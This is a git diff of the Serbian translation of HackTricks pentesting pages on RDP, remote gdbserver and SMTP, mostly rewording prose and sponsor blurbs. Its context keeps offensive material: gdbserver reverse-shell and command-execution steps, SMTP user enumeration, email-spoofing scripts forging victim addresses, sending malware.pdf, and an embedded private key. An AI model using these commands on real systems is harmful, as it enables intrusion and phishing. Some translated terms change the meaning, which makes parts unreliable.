-122,12 +122,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** je post-exploitation okvir kreiran u Powershell-u, prvenstveno dizajniran da automatizuje **Shadow** napad na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi desktop svog žrtve bez njegovog pristanka**, čak i da ga kontroliše po zahtevu, koristeći alate koji su inherentni samom operativnom sistemu. +**AutoRDPwn** je post-exploitation okvir kreiran u Powershell-u, dizajniran pretežno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi desktop svoje žrtve bez njenog pristanka**, čak i da ga kontroliše po zahtevu, koristeći alate koji su inherentni samom operativnom sistemu. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * Kontrola miša i tastature na automatizovan način sa komandne linije * Kontrola clipboard-a na automatizovan način sa komandne linije -* Pokretanje SOCKS proxy-ja sa klijenta koji usmerava komunikaciju mreže ka cilju preko RDP-a +* Pokretanje SOCKS proxy-ja sa klijenta koji usmerava mrežnu komunikaciju ka cilju preko RDP-a * Izvršavanje proizvoljnih SHELL i PowerShell komandi na cilju bez otpremanja fajlova * Otpremanje i preuzimanje fajlova sa/cilju čak i kada su transferi fajlova onemogućeni na cilju @@ -150,9 +150,9 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
+
-**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -162,10 +162,10 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md index 7c191a0ac..b68c36e0a 100644 --- a/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/network-services-pentesting/pentesting-remote-gdbserver.md @@ -1,4 +1,4 @@ -# Testiranje bezbednosti udaljenog GdbServera +# Pentestiranje udaljenog GdbServera
@@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u:
-
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje istražuju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## **Osnovne informacije** -**gdbserver** je alat koji omogućava udaljeno debagovanje programa. Pokreće se zajedno sa programom koji treba da se debaguje na istom sistemu, poznatom kao "cilj". Ova postavka omogućava **GNU Debugger-u** da se poveže sa drugom mašinom, "domaćinom", gde se čuva izvorni kod i binarna kopija programa koji se debaguje. Veza između **gdbserver-a** i debagera može se uspostaviti preko TCP-a ili serijske linije, što omogućava raznovrsne postavke debagovanja. +**gdbserver** je alat koji omogućava udaljeno debugovanje programa. Pokreće se zajedno sa programom koji zahteva debugovanje na istom sistemu, poznatom kao "cilj". Ova postavka omogućava **GNU Debugger-u** da se poveže sa drugom mašinom, "domaćinom", gde se čuva izvorni kod i binarna kopija debugovanog programa. Veza između **gdbserver-a** i debuggera može se uspostaviti preko TCP-a ili serijske linije, što omogućava raznovrsne postavke za debugovanje. Možete naterati **gdbserver da osluškuje na bilo kom portu** i trenutno **nmap nije sposoban da prepozna uslugu**. @@ -53,9 +53,9 @@ run # You should get your reverse-shell ``` -### Izvršavanje proizvoljnih naredbi +### Izvršavanje proizvoljnih komandi -Postoji još jedan način da **naterate debugger da izvrši proizvoljne naredbe putem** [**python prilagođenog skripta preuzetog sa ovog linka**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). +Postoji još jedan način da **naterate debugger da izvrši proizvoljne komande putem** [**python prilagođenog skripta preuzetog sa ovog linka**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 @@ -195,9 +195,9 @@ RemoteCmd() ``` {% endcode %} -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kuda sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -207,7 +207,7 @@ RemoteCmd() Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md index f53c452e9..17e3464bf 100644 --- a/network-services-pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,17 +14,17 @@ Drugi načini podrške HackTricks-u: -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## **Osnovne informacije** -**Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u čekanju poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da skladište poruke na serveru poštanskog sandučeta i periodično ih preuzimaju. +**Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u čekanju poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da skladište poruke na serveru poštanskog sandučeta i da ih periodično preuzimaju. -U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Takođe, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3. +U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Nadalje, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3. **Podrazumevani port:** 25,465(ssl),587(ssl) ``` @@ -35,9 +35,9 @@ PORT STATE SERVICE REASON VERSION Ako imate priliku da **naterate žrtvu da vam pošalje email** (putem kontakt forme na veb stranici na primer), učinite to jer **možete saznati o unutrašnjoj topologiji** žrtve gledajući zaglavlja mejla. -Takođe možete dobiti email sa SMTP servera pokušavajući **da tom serveru pošaljete email na nepostojeću adresu** (jer će server poslati napadaču NDN mejl). Ali, budite sigurni da šaljete email sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke. +Takođe možete dobiti email sa SMTP servera pokušavajući **poslati tom serveru email na nepostojeću adresu** (jer će server poslati napadaču NDN email). Ali, budite sigurni da šaljete email sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke. -Trebalo bi takođe da pokušate **slati različite sadržaje jer možete pronaći interesantne informacije** u zaglavljima kao što su: `X-Virus-Scanned: by av.domain.com`\ +Trebalo bi takođe da pokušate **poslati različite sadržaje jer možete pronaći interesantne informacije** u zaglavljima kao što su: `X-Virus-Scanned: by av.domain.com`\ Trebalo bi da pošaljete EICAR test fajl.\ Otkrivanje **AV** može vam omogućiti iskorišćavanje **poznatih ranjivosti.** @@ -51,7 +51,7 @@ nc -vn 25 ``` **SMTPS**: -SMTPS (Secure SMTP) je verzija protokola SMTP koja koristi SSL/TLS za enkripciju komunikacije. Ovo pruža dodatni sloj sigurnosti prilikom slanja emailova preko SMTP servera. +**SMTPS (Secure SMTP)** je sigurna verzija protokola SMTP koja koristi SSL/TLS enkripciju za zaštitu komunikacije. Kada vršite testiranje penetracije SMTPS servera, možete iskoristiti alate poput `smtp-user-enum` za prepoznavanje važećih korisničkih naloga, `Nmap` za skeniranje otvorenih portova i `Metasploit` za ispitivanje ranjivosti. ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 @@ -60,7 +60,7 @@ openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ```bash dig +short mx google.com ``` -### Nabrojavanje +### Enumeracija ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v @@ -172,9 +172,9 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
+
-**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa više od 20 alatki i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa više od 20 alatki i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -184,7 +184,7 @@ Nmap: nmap --script smtp-enum-users ## [Komande](smtp-commands.md) -### Slanje emaila sa linux konzole +### Slanje emaila iz Linux konzole ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. @@ -249,15 +249,15 @@ print("[***]successfully sent email to %s:" % (msg['To'])) ## SMTP Smuggling -Ranjivost SMTP Smuggling omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP Smuggling-u pogledajte: +Ranjivost SMTP transporta omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP transportu pogledajte: {% content-ref url="smtp-smuggling.md" %} [smtp-smuggling.md](smtp-smuggling.md) {% endcontent-ref %} -## Mera protiv lažnog slanja mejlova +## Mera protiv lažnog slanja e-pošte -Organizacije su sprečene da neovlašćeno šalju e-poštu u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog jednostavnosti lažnog slanja SMTP poruka. +Organizacije su sprečene da neovlašćeno šalju e-poštu u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog jednostavnosti lažiranja SMTP poruka. **Potpuni vodič za ove mere** dostupan je na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). @@ -276,15 +276,15 @@ Sa [Vikipedije](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Mehanizam | Opis | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Uvek se podudara; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje se ne podudaraju sa prethodnim mehanizmima. | +| ALL | Uvek se podudara; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu podudarne sa prethodnim mehanizmima. | | A | Ako domen ima adresni zapis (A ili AAAA) koji se može rešiti na adresu pošiljaoca, podudaraće se. | | IP4 | Ako je pošiljalac u datom IPv4 opsegu adresa, podudara se. | | IP6 | Ako je pošiljalac u datom IPv6 opsegu adresa, podudara se. | | MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, podudaraće se (tj. pošta dolazi sa jednog od dolaznih poštanskih servera domena). | -| PTR | Ako je domensko ime (PTR zapis) za adresu klijenta u datom domenu i to domensko ime se rešava na adresu klijenta (provera obrnutog DNS-a), podudara se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. | -| EXISTS | Ako dato domensko ime vodi ka bilo kojoj adresi, podudara se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Uz SPF makro jezik nudi složenije podudaranje poput DNSBL-upita. | -| INCLUDE | Referiše na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da bi se potpuno delegiralo politici drugog domena, mora se koristiti proširenje preusmeravanja. | -| REDIRECT |

Preusmerava na drugo domensko ime koje hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu infrastrukturu e-pošte.

SPF politika domena naznačena u mehanizmu preusmeravanja će biti korišćena.

| +| PTR | Ako je ime domena (PTR zapis) za adresu klijenta u datom domenu i to ime domena se rešava na adresu klijenta (provera obrnutog DNS-a), podudara se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. | +| EXISTS | Ako dato ime domena vodi ka bilo kojoj adresi, podudara se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Uz SPF makro jezik nudi složenije podudaranje poput DNSBL-upita. | +| INCLUDE | Referenca na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne uspe, obrada se nastavlja. Da bi se potpuno delegiralo politici drugog domena, mora se koristiti proširenje preusmeravanja. | +| REDIRECT |

Preusmeravanje je pokazivač na drugo ime domena koje hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu infrastrukturu e-pošte.

SPF politika domena naznačena u mehanizmu preusmeravanja će biti korišćena.

| Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba uraditi ako se mehanizam podudara**. Podrazumevano se koristi **kvalifikator "+"** (tako da ako se podudara bilo koji mehanizam, to znači da je dozvoljeno).\ Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da bi se naznačilo da **ako pošiljalac ne odgovara nijednoj SPF politici, trebalo bi označiti e-poštu kao nepoverljivu (\~) ili odbiti (-) e-poštu.** @@ -296,9 +296,9 @@ Svaki mehanizam unutar politike može biti prefiksan jednim od četiri kvalifika * **`+`**: Odgovara rezultatu PROLAZ. Podrazumevano, mehanizmi pretpostavljaju ovaj kvalifikator, čineći `+mx` ekvivalentnim `mx`. * **`?`**: Predstavlja NEUTRALAN rezultat, tretiran slično kao NIKO (bez specifične politike). * **`~`**: Označava SOFTFAIL, služeći kao srednje rešenje između NEUTRALNO i NEUSPEH. E-poruke koje zadovolje ovaj rezultat obično se prihvataju ali se označavaju prema tome. -* **`-`**: Označava NEUSPEH, sugerišući da bi e-pošta trebalo potpuno odbiti. +* **`-`**: Označava NEUSPEH, sugerišući da bi e-pošta trebalo direktno odbiti. -U sledećem primeru, ilustrovana je **SPF politika google.com**. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike: +U sledećem primeru, **SPF politika google.com** je ilustrovana. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -319,13 +319,13 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1 ``` Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo tačan/nijedan SPF zapis. **Danas**, ako **e-pošta dolazi sa domena bez validnog SPF zapisa**, verovatno će biti **odbijena/označena kao nepoverljiva automatski**. -Za proveru SPF zapisa domena možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) +Da biste proverili SPF domena, možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM se koristi za potpisivanje odlaznih e-pošta, omogućavajući njihovu validaciju od strane spoljnih Mail Transfer Agents (MTA) putem dobijanja javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu, morate znati i selektor i ime domena. -Na primer, za zahtevanje ključa, neophodni su ime domena i selektor. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr. `d=gmail.com;s=20120113`. +Na primer, zahtev za ključem, ime domena i selektor su neophodni. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr. `d=gmail.com;s=20120113`. Komanda za dobijanje ovih informacija može izgledati ovako: ```bash @@ -360,7 +360,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | ruf | URI za prijavljivanje forenzičkih izveštaja | ruf=mailto:authfail@example.com | | rua | URI za prijavljivanje agregiranih izveštaja | rua=mailto:aggrep@example.com | | p | Politika za organizacioni domen | p=quarantine | -| sp | Politika za poddomene OD | sp=reject | +| sp | Politika za poddomene OD-a | sp=reject | | adkim | Režim poravnanja za DKIM | adkim=s | | aspf | Režim poravnanja za SPF | aspf=r | @@ -368,9 +368,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA **Od** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Morate imati odvojene SPF zapise za svaki poddomen sa kog želite da šaljete poštu.\ -Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari. +Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovu vrstu informacija. -> Pitanje o Demona: Šta je sa poddomenima? +> Pitanje Demona: Šta je sa poddomenima? > > Ako dobijem poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaki poddomen na Demonu je drugačiji korisnik, i svaki korisnik može imati svoju politiku. Ne bi imalo smisla da se politika Demona automatski primenjuje na sve svoje korisnike; ako Demon želi to da uradi, može postaviti SPF zapise za svaki poddomen. > @@ -382,13 +382,13 @@ Ovo ima smisla - poddomen može biti u potpuno drugačijoj geografskoj lokaciji ### **Otvoreni Relej** -Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. To se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, rizik koji se često identifikuje u sigurnosnim procenama. +Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. Ovo se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka prilikom postavljanja SMTP servera, rizik koji se često identifikuje u bezbednosnim procenama. -Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, jeste da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod: +Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod: ```bash mynetworks = 0.0.0.0/0 ``` -Za proveru da li je poštanski server otvoreni relej (što znači da može prosleđivati e-poštu sa bilo kog eksternog izvora), često se koristi alat `nmap`. On uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je: +Za proveru da li je poštanski server otvoren relej (što znači da može prosleđivati e-poštu sa bilo kog eksternog izvora), često se koristi alat `nmap`. On uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -413,8 +413,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} -Ako dobijete bilo koju grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa slobodno koristite sledeći.\ -**NAPOMENA**: Ovo je samo brzo rešenje za brze provere u slučajevima kada iz nekog razloga openssl privatni ključ ne može da bude parsiran od strane dkim-a. +Ako dobijete bilo kakvu grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa, slobodno koristite sledeći.\ +**NAPOMENA**: Ovo je samo brzo rešenje za obavljanje brzih provera u slučajevima kada iz nekog razloga openssl privatni ključ ne može da bude parsiran od strane dkim-a. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt @@ -439,7 +439,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== {% tabs %} {% tab title="PHP" %}
# Ovo će poslati nepotpisanu poruku
-mail("vas_email@gmail.com", "Testni predmet!", "hej! Ovo je test", "Od: administrator@žrtva.com");
+mail("vas_email@gmail.com", "Test subjekat!", "hey! Ovo je test", "Od: administrator@victim.com");
 
{% endtab %} @@ -522,7 +522,7 @@ s.sendmail(sender, [destination], msg_data) ### Postfix -Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer novi mejl primi od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako novi mejl bude primljen od korisnika mark. +Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer primi nova pošta od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako korisnik mark primi novu poštu. Drugi konfiguracioni fajlovi: ``` @@ -585,9 +585,9 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -597,10 +597,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS { Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju 